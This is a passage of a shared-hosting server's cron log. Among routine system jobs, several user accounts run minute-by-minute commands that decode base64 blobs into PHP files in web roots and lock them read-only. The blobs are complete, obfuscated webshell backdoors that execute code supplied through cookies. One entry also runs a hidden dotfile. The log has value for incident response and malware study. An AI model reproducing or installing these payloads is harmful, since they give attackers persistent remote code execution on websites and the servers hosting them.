V07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:22:02 medusa CROND[1928]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:22:02 medusa CROND[1933]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:22:02 medusa CROND[1940]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:23:01 medusa CROND[20653]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:23:01 medusa CROND[20655]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:23:01 medusa CROND[20656]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:23:01 medusa CROND[20659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:23:01 medusa CROND[20661]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:23:01 medusa CROND[20665]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:23:01 medusa CROND[20666]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:23:01 medusa CROND[20669]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:23:01 medusa CROND[20670]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:23:01 medusa CROND[20679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:23:01 medusa CROND[20680]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:23:01 medusa CROND[20675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:24:01 medusa CROND[4804]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:24:01 medusa CROND[4810]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:24:01 medusa CROND[4812]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:24:01 medusa CROND[4814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:24:01 medusa CROND[4819]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:24:01 medusa CROND[4820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:24:01 medusa CROND[4831]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:24:01 medusa CROND[4841]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:24:01 medusa CROND[4842]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:24:01 medusa CROND[4843]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:24:01 medusa CROND[4837]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:24:01 medusa CROND[4845]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:24:01 medusa CROND[4838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:25:01 medusa CROND[22216]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:25:01 medusa CROND[22218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:25:01 medusa CROND[22317]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:25:01 medusa CROND[22551]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:25:01 medusa CROND[22552]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:25:01 medusa CROND[22553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:25:01 medusa CROND[22554]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0